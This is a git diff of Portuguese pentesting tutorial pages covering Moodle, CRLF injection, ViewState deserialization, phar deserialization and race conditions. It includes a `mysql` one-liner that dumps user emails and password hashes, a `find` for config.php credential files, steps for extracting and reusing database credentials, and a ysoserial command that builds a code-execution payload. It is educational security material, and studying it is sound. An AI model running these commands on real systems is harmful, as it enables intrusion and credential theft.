O `moodlescan` é capaz de verificar várias vulnerabilidades conhecidas no Moodle, incluindo problemas de configuração, falhas de autenticação, injeção de SQL, cross-site scripting (XSS) e muito mais. Ele também pode ser usado para verificar a versão do Moodle instalada e fornecer informações detalhadas sobre a configuração do sistema. O `moodlescan` é capaz de verificar várias vulnerabilidades conhecidas no Moodle, incluindo problemas de configuração, falhas de autenticação, injeção de SQL, cross-site scripting (XSS) e muito mais. Ele também pode ser usado para verificar a versão do Moodle instalada e fornecer informações detalhadas sobre a configuração do sistema.
Para usar o `moodlescan`, basta executar o comando seguido pelo URL da instalação do Moodle que deseja testar. Por exemplo: Para usar o `moodlescan`, basta executar o comando seguido pelo URL da instalação do Moodle que deseja verificar. Por exemplo:
``` ```
moodlescan https://example.com/moodle moodlescan https://example.com/moodle
``` ```
Após a execução, o `moodlescan` fornecerá um relatório detalhado das vulnerabilidades encontradas, juntamente com recomendações para corrigir essas falhas de segurança. É importante lembrar que o `moodlescan` deve ser usado apenas em ambientes autorizados, como parte de um teste de penetração ético. O uso indevido dessa ferramenta pode ser considerado ilegal e sujeito a penalidades. O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante analisar cuidadosamente os resultados para identificar quaisquer vulnerabilidades encontradas e tomar as medidas necessárias para corrigi-las.
É importante ressaltar que o `moodlescan` deve ser usado apenas em ambientes autorizados e com permissão do proprietário do sistema. O uso indevido dessa ferramenta pode ser considerado ilegal e resultar em consequências legais.
```bash ```bash
#Install from https://github.com/inc0d3/moodlescan #Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/ python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
@ -114,11 +116,11 @@ Durante um teste de penetração em um site Moodle, uma etapa importante é enco
Uma maneira comum de encontrar as credenciais do banco de dados é explorar o código-fonte do site Moodle. Procure por arquivos como `config.php` ou `config-dist.php`, que geralmente contêm as informações de conexão com o banco de dados. Uma maneira comum de encontrar as credenciais do banco de dados é explorar o código-fonte do site Moodle. Procure por arquivos como `config.php` ou `config-dist.php`, que geralmente contêm as informações de conexão com o banco de dados.
Outra abordagem é realizar uma análise de tráfego usando ferramentas como o Wireshark. Monitore o tráfego de rede enquanto realiza ações no site Moodle, como fazer login ou acessar páginas específicas. Procure por pacotes que contenham informações de autenticação do banco de dados, como nomes de usuário e senhas. Outra abordagem é realizar uma análise de tráfego usando ferramentas como o Wireshark. Monitore o tráfego de rede enquanto realiza ações no site Moodle, como fazer login ou acessar páginas específicas. Procure por pacotes que contenham informações de conexão com o banco de dados, como consultas SQL ou solicitações POST.
Além disso, você pode tentar explorar vulnerabilidades conhecidas no Moodle que possam expor as credenciais do banco de dados. Verifique se há versões desatualizadas ou vulnerabilidades conhecidas que possam ser exploradas para obter acesso às informações do banco de dados. Além disso, você pode tentar explorar vulnerabilidades conhecidas no Moodle que possam expor as credenciais do banco de dados. Verifique se há versões desatualizadas ou vulnerabilidades conhecidas que possam ser exploradas para obter acesso às informações do banco de dados.
Uma vez que você tenha as credenciais do banco de dados, poderá usá-las para acessar diretamente o banco de dados do Moodle e realizar atividades como extração de dados, modificação de registros ou até mesmo a exclusão de informações sensíveis. Uma vez que você tenha as credenciais do banco de dados, poderá usá-las para acessar diretamente o banco de dados do Moodle e realizar atividades como extração de dados, modificação de registros ou até mesmo a exclusão de informações sensíveis. No entanto, é importante lembrar que realizar essas ações sem permissão é ilegal e pode ter consequências legais graves. Portanto, sempre realize testes de penetração em um ambiente controlado e com permissão prévia.
```bash ```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php" find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
``` ```
@ -128,19 +130,23 @@ To dump credentials from a database, you can follow these steps:
1. Identify the target database: Determine the type of database being used, such as MySQL, PostgreSQL, or Oracle. 1. Identify the target database: Determine the type of database being used, such as MySQL, PostgreSQL, or Oracle.
2. Enumerate the database: Use tools like Nmap or SQLMap to scan the network and identify the running database services. 2. Enumerate the database: Use tools like Nmap or SQLMap to identify the database server and its version.
3. Exploit vulnerabilities: Exploit any known vulnerabilities in the database software or misconfigurations to gain unauthorized access. 3. Exploit vulnerabilities: Exploit any known vulnerabilities in the database server or its associated web application to gain unauthorized access.
4. Extract credentials: Once access is gained, use SQL queries or tools like SQLDump to extract the credentials stored in the database. 4. Gain database access: Once you have gained access to the database server, you can use SQL commands to extract the credentials from the database tables.
5. Analyze the extracted data: Review the dumped credentials to identify usernames, passwords, and other relevant information. 5. Dump the credentials: Use SQL commands like SELECT or UNION to retrieve the credentials from the relevant tables. You can also use tools like SQLDump or SQLMap to automate this process.
It is important to note that extracting credentials from a database without proper authorization is illegal and unethical. This information is provided for educational purposes only and should not be used for any malicious activities. Always ensure you have proper authorization and follow ethical guidelines when performing any security testing or penetration testing activities. 6. Analyze the dumped data: Review the extracted credentials to identify usernames, passwords, and other relevant information.
7. Use the credentials: The extracted credentials can be used for further exploitation, such as gaining access to other systems or escalating privileges.
It is important to note that performing these actions without proper authorization is illegal and unethical. Always ensure you have the necessary permissions and legal authorization before attempting any database credential extraction.
```bash ```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit" /usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
``` ```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -8,11 +8,11 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -22,12 +22,12 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
Quando um navegador envia uma solicitação para um servidor web, o servidor web responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo real do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, ou seja, um retorno de carro e uma alimentação de linha. Em resumo, eles também são conhecidos como CRLF. Quando um navegador envia uma solicitação para um servidor web, o servidor web responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo real do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, ou seja, um retorno de carro e uma alimentação de linha. Em resumo, eles também são conhecidos como CRLF.
O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode informar a um aplicativo da web ou a um usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\ O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode informar a um aplicativo da web ou ao usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/) De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### O que é a Vulnerabilidade de Injeção de CRLF? ### O que é a Vulnerabilidade de Injeção de CRLF?
Em um ataque de vulnerabilidade de injeção de CRLF, o invasor insere tanto o caractere de retorno de carro quanto o caractere de alimentação de linha na entrada do usuário para enganar o servidor, o aplicativo da web ou o usuário, fazendo-os pensar que um objeto foi encerrado e outro começou. Portanto, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usadas com intenções maliciosas, para divisão de resposta HTTP, etc. Em um ataque de vulnerabilidade de injeção de CRLF, o invasor insere tanto o caractere de retorno de carro quanto o de alimentação de linha na entrada do usuário para enganar o servidor, o aplicativo da web ou o usuário, fazendo-os pensar que um objeto foi encerrado e outro começou. Portanto, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usadas com intenções maliciosas, para divisão de resposta HTTP, etc.
## Injeção de CRLF em aplicativos da web ## Injeção de CRLF em aplicativos da web
@ -52,9 +52,9 @@ IP - Hora - Caminho Visitado
``` ```
Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ocultar suas próprias ações maliciosas. O atacante está literalmente sequestrando a página e modificando a resposta. Por exemplo, imagine um cenário em que o atacante possui a senha de administrador e executa o parâmetro restrictedaction, que só pode ser usado por um administrador. Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ocultar suas próprias ações maliciosas. O atacante está literalmente sequestrando a página e modificando a resposta. Por exemplo, imagine um cenário em que o atacante possui a senha de administrador e executa o parâmetro restrictedaction, que só pode ser usado por um administrador.
O problema é que, se o administrador perceber que um IP desconhecido usou o parâmetro restrictedaction, ele notará que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um administrador), não parece suspeito. O problema é que, se o administrador perceber que um IP desconhecido usou o parâmetro restrictedaction, ele perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um administrador), não parece suspeito.
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro. Depois disso, há outro & com o parâmetro restrictedaction, que será analisado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que: Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um único parâmetro. Depois disso, há outro & com o parâmetro restrictedaction, que será analisado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:
``` ```
/index.php?page=home&restrictedaction=edit /index.php?page=home&restrictedaction=edit
``` ```
@ -223,7 +223,7 @@ A melhor técnica de prevenção é não usar a entrada do usuário diretamente
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -12,7 +12,7 @@
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -25,7 +25,7 @@ As seguintes propriedades ou combinação de propriedades se aplicam às informa
* Base64 * Base64
* Pode ser definido usando o atributo EnableViewStateMac e ViewStateEncryptionMode definido como false * Pode ser definido usando o atributo EnableViewStateMac e ViewStateEncryptionMode definido como false
* Base64 + MAC (Código de Autenticação de Mensagem) Habilitado * Base64 + MAC (Message Authentication Code) Habilitado
* Pode ser definido usando o atributo EnableViewStateMac definido como true * Pode ser definido usando o atributo EnableViewStateMac definido como true
* Base64 + Criptografado * Base64 + Criptografado
* Pode ser definido usando o atributo viewStateEncryptionMode definido como true * Pode ser definido usando o atributo viewStateEncryptionMode definido como true
@ -36,7 +36,7 @@ As seguintes propriedades ou combinação de propriedades se aplicam às informa
### Caso de Teste: 1 EnableViewStateMac=false e viewStateEncryptionMode=false ### Caso de Teste: 1 EnableViewStateMac=false e viewStateEncryptionMode=false
Também é possível desativar completamente o ViewStateMAC definindo a chave de registro `AspNetEnforceViewStateMac` como zero em: Também é possível desabilitar completamente o ViewStateMAC definindo a chave de registro `AspNetEnforceViewStateMac` como zero em:
``` ```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
``` ```
@ -53,8 +53,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Caso de teste 1.5 - Como o caso de teste 1, mas o cookie ViewState não é enviado pelo servidor ### Caso de teste 1.5 - Como o caso de teste 1, mas o cookie ViewState não é enviado pelo servidor
Os desenvolvedores podem **remover o ViewState** para que ele não faça parte de uma solicitação HTTP (o usuário não receberá esse cookie).\ Os desenvolvedores podem **remover o ViewState** para que ele não faça parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
Pode-se assumir que se o **ViewState** não estiver presente, a implementação estará **segura** contra possíveis vulnerabilidades relacionadas à deserialização do ViewState.\ Pode-se assumir que, se o **ViewState** não estiver presente, a implementação estará **segura** contra possíveis vulnerabilidades relacionadas à desserialização do ViewState.\
No entanto, esse não é o caso. Se adicionarmos o parâmetro **ViewState** ao corpo da solicitação e enviarmos nossa carga serializada criada usando o ysoserial, ainda poderemos obter a **execução de código** como mostrado no **Caso 1**. No entanto, esse não é o caso. Se adicionarmos o parâmetro **ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando o ysoserial, ainda poderemos obter **execução de código**, como mostrado no **Caso 1**.
### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false ### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -86,7 +86,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
``` ```
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png) ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo. [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário chamado "python blacklist3r", que é a maneira mais rápida de usá-lo.
Ele pode ser fornecido diretamente com o viewstate e o gerador: Ele pode ser fornecido diretamente com o viewstate e o gerador:
``` ```
@ -144,7 +144,7 @@ Alternativamente, isso pode ser feito especificando a opção abaixo dentro do p
```bash ```bash
compatibilityMode="Framework45" compatibilityMode="Framework45"
``` ```
Como no caso anterior, o Burp não identifica se a solicitação está protegida por MAC porque o valor está criptografado. Portanto, para enviar uma carga útil válida, o atacante precisa da chave. Como no caso anterior, o Burp não identifica se a solicitação está protegida por MAC porque o **valor está criptografado**. Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png) ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
@ -184,7 +184,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
``` ```
### Resultado de uma Exploração Bem-sucedida <a href="#poc" id="poc"></a> ### Resultado de uma Exploração Bem-sucedida <a href="#poc" id="poc"></a>
Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com "Erro interno do servidor 500" com o conteúdo de resposta "As informações de estado são inválidas para esta página e podem estar corrompidas" e obtemos a solicitação OOB conforme mostrado nas Figuras abaixo: Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com "Erro interno do servidor 500" tendo o conteúdo de resposta "As informações de estado são inválidas para esta página e podem estar corrompidas" e obtemos a solicitação OOB conforme mostrado nas Figuras abaixo:
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png) ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
@ -199,7 +199,7 @@ solicitação fora de banda com o nome de usuário atual
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) * [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) * [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
@ -210,7 +210,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -1,4 +1,4 @@
# Deserialização de phar:// # Deserialização phar://
<details> <details>
@ -12,13 +12,13 @@
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
Arquivos **Phar** (PHP Archive) contêm **metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** no código **PHP**. Arquivos **Phar** (PHP Archive) contêm **metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
A melhor coisa sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP, como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**. A melhor coisa sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP, como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
@ -85,9 +85,9 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %} {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -12,7 +12,7 @@ Acesse hoje mesmo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -47,12 +47,12 @@ Em seguida, **prepare-se para enviar os quadros finais**:
Por fim, envie os quadros retidos. Você deve ser capaz de verificar se eles chegaram em um único pacote usando o Wireshark. Por fim, envie os quadros retidos. Você deve ser capaz de verificar se eles chegaram em um único pacote usando o Wireshark.
{% hint style="info" %} {% hint style="info" %}
Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como arquivos estáticos não são relevantes para ataques de condição de corrida. No entanto, arquivos estáticos são irrelevantes para ataques de CC. Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como arquivos estáticos não são relevantes para ataques de condição de corrida. Mas arquivos estáticos são irrelevantes para ataques de CC.
{% endhint %} {% endhint %}
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente da variação de rede: Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente da variação de rede:
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adaptando à arquitetura do alvo** **Adaptando à arquitetura do alvo**
@ -75,7 +75,7 @@ Usando o Turbo Intruder, você pode introduzir um pequeno atraso no lado do clie
Em vez disso, você pode resolver esse problema abusando de um recurso de segurança comum. Em vez disso, você pode resolver esse problema abusando de um recurso de segurança comum.
